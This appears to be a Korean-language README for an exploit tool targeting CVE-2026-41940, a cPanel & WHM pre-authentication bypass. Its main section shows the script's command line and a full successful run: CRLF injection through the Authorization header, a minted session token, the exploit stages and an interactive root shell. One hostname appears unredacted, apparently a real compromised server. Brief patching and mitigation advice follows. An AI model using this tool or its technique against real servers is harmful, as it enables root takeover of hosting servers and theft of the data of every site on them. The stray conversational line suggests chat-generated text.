⚠️ CVE-2026-41940 - cPanel & WHM 인증 우회

cPanel & WHM 치명적 사전 인증 우회 취약점

📌 개요

CVE-2026-41940은 cPanel & WHM 및 WP Squared에 영향을 주는 치명적인 인증 우회 취약점입니다.

인증되지 않은 원격 공격자는 로그인을 완전히 우회하여 서버에 대한 전체 관리자(root/WHM) 액세스 권한을 획득할 수 있습니다.

이 결함은 패치가 공개되기 전에 실제 환경에서 적극적으로 악용되었습니다.

🎯 심각도

🛠️ 영향을 받는 제품

cPanel & WHM — 패치 적용 전까지 11.40 이후의 모든 버전
WP Squared — 136.1.7 이전 버전

공개 시점에 약 150만 개의 cPanel 인스턴스가 잠재적으로 노출되었습니다.

🔥 영향

악용에 성공하면 공격자는 다음을 수행할 수 있습니다:

전체 WHM/root 액세스 권한 획득
호스팅된 모든 웹사이트와 계정 장악
서버 구성 변경
민감한 데이터 탈취
지속성 있는 백도어 배포

✅ 성공 시 출력 예시 (말씀하신 Eye Security 스크린샷과 유사):

정상적으로 작동하면 다음과 같은 결과가 표시됩니다:

┌──(kali㉿kali)-[~]
└─$ sudo python3 CVE-2026-41940.py -u https://xx.xx.xx.xx:2087 --action shell                      
[sudo] password for kali: 


 ██████╗ ██╗  ██╗██████╗ ██╗      █████╗  ██████╗██╗  ██╗ █████╗ ███████╗██╗  ██╗
██╔═████╗╚██╗██╔╝██╔══██╗██║     ██╔══██╗██╔════╝██║ ██╔╝██╔══██╗██╔════╝██║  ██║
██║██╔██║ ╚███╔╝ ██████╔╝██║     ███████║██║     █████╔╝ ███████║███████╗███████║
████╔╝██║ ██╔██╗ ██╔══██╗██║     ██╔══██║██║     ██╔═██╗ ██╔══██║╚════██║██╔══██║
╚██████╔╝██╔╝ ██╗██████╔╝███████╗██║  ██║╚██████╗██║  ██╗██║  ██║███████║██║  ██║
 ╚═════╝ ╚═╝  ╚═╝╚═════╝ ╚══════╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝
  CVE-2026-41940 — cPanel & WHM Auth Bypass via CRLF Injection
  4-stage: preauth → CRLF inject → propagate → verify → post-exploit
  Author : Ashraf Zaryouh / @0xBlackash

  Configuration:
   Targets  : 1
   Threads  : 10
   Timeout  : 15s
   Action   : shell

13:41:18 [SCAN] Starting 4-stage exploit chain... https://xx.xx.xx.xx:2087
13:41:19 [INFO] Canonical hostname discovered: server.xxxxxxx.xx
13:41:19 [INFO] Canonical: server.softsms.in
13:41:19 [STEP] Stage 1/4 — Minting preauth session...
13:41:20 [  OK] Stage1: preauth session = :W43DhFApxxxD8Jdw...
13:41:20 [STEP] Stage 2/4 — CRLF injection via Authorization header...
13:41:21 [  OK] Stage2: HTTP 307 → token=/cpsess263xxxx267
13:41:21 [STEP] Stage 3/4 — Firing do_token_denied gadget (raw→cache)...
13:41:22 [  OK] Stage3: HTTP 401 — do_token_denied gadget fired
13:41:22 [STEP] Stage 4/4 — Verifying WHM root access...
13:41:24 [INFO] Stage4: HTTP 200  {"version":"11.86.0.40"}
13:41:24 [PWND] CVE-2026-41940 CONFIRMED — WHM root access!  https://xx.xx.xx.xx:2087
13:41:24 [PWND]   Token    : /cpsess2634xxxx267
13:41:24 [PWND]   Session  : :W43DhFApxxxD8Jdw...
13:41:24 [PWND]   Version  : 11.86.0.40
13:41:24 [PWND]   API URL  : https://xx.xx.xx.xx:2087/cpsess2634xxxx267/json-api/version
13:41:24 [ API] Running post-exploit action: shell

════════════════════════════════════════════════════════════
  WHM Shell — server.xxxxxxx.xx
  Version: CVE-2026-41940 | Auth: CRLF bypass
  Type 'help' for commands, 'exit' to quit
════════════════════════════════════════════════════════════

[email protected] ▶ id
13:41:28 [ API] gethostname → HTTP 500
  uid=0(root) gid=0(root) groups=0(root)
[email protected] ▶ exit
Exiting shell.

══════════════════════════════════════════════════════════════════════
  CVE-2026-41940.py — CVE-2026-41940 Scan Complete
  Time: 13.9s  ·  Targets: 1
──────────────────────────────────────────────────────────────────────

  ⚡ 1 VULNERABLE TARGET(S)

  Target   : https://xx.xx.xx.xx:2087
  Version  : 11.86.0.40
  Token    : /cpsess263xxxx267
  API URL  : https://xx.xx.xx.xx:2087/cpsess2634xxxx267/json-api/version
  Session  : :W43DhFApxxxD8Jdw...
  Evidence : {"version":"11.86.0.40"}

══════════════════════════════════════════════════════════════════════

✅ 패치된 버전

2026년 4월 28일 패치됨

cPanel & WHM을 최신 빌드로 업데이트
WP Squared를 136.1.7 이상 버전으로 업데이트

즉시 조치 권장

🛡️ 완화 및 보호 조치

즉시 최신 버전으로 업데이트
포트 2082, 2083, 2086, 2087에 대한 공개 액세스 차단
WAF 규칙 활성화 (Cloudflare, ModSecurity 등)
관리 액세스에 IP 허용 목록 또는 VPN 사용

📚 참고 자료

보안 커뮤니티를 위해 ❤️로 제작됨

최종 업데이트: 2026년 5월

CVSS 3.1 점수	9.8 (치명적)
CVSS 4.0 점수	9.3 (치명적)
공격 경로	네트워크
복잡도	낮음
권한	없음
사용자 상호작용	없음

CVE-2026-41940

인기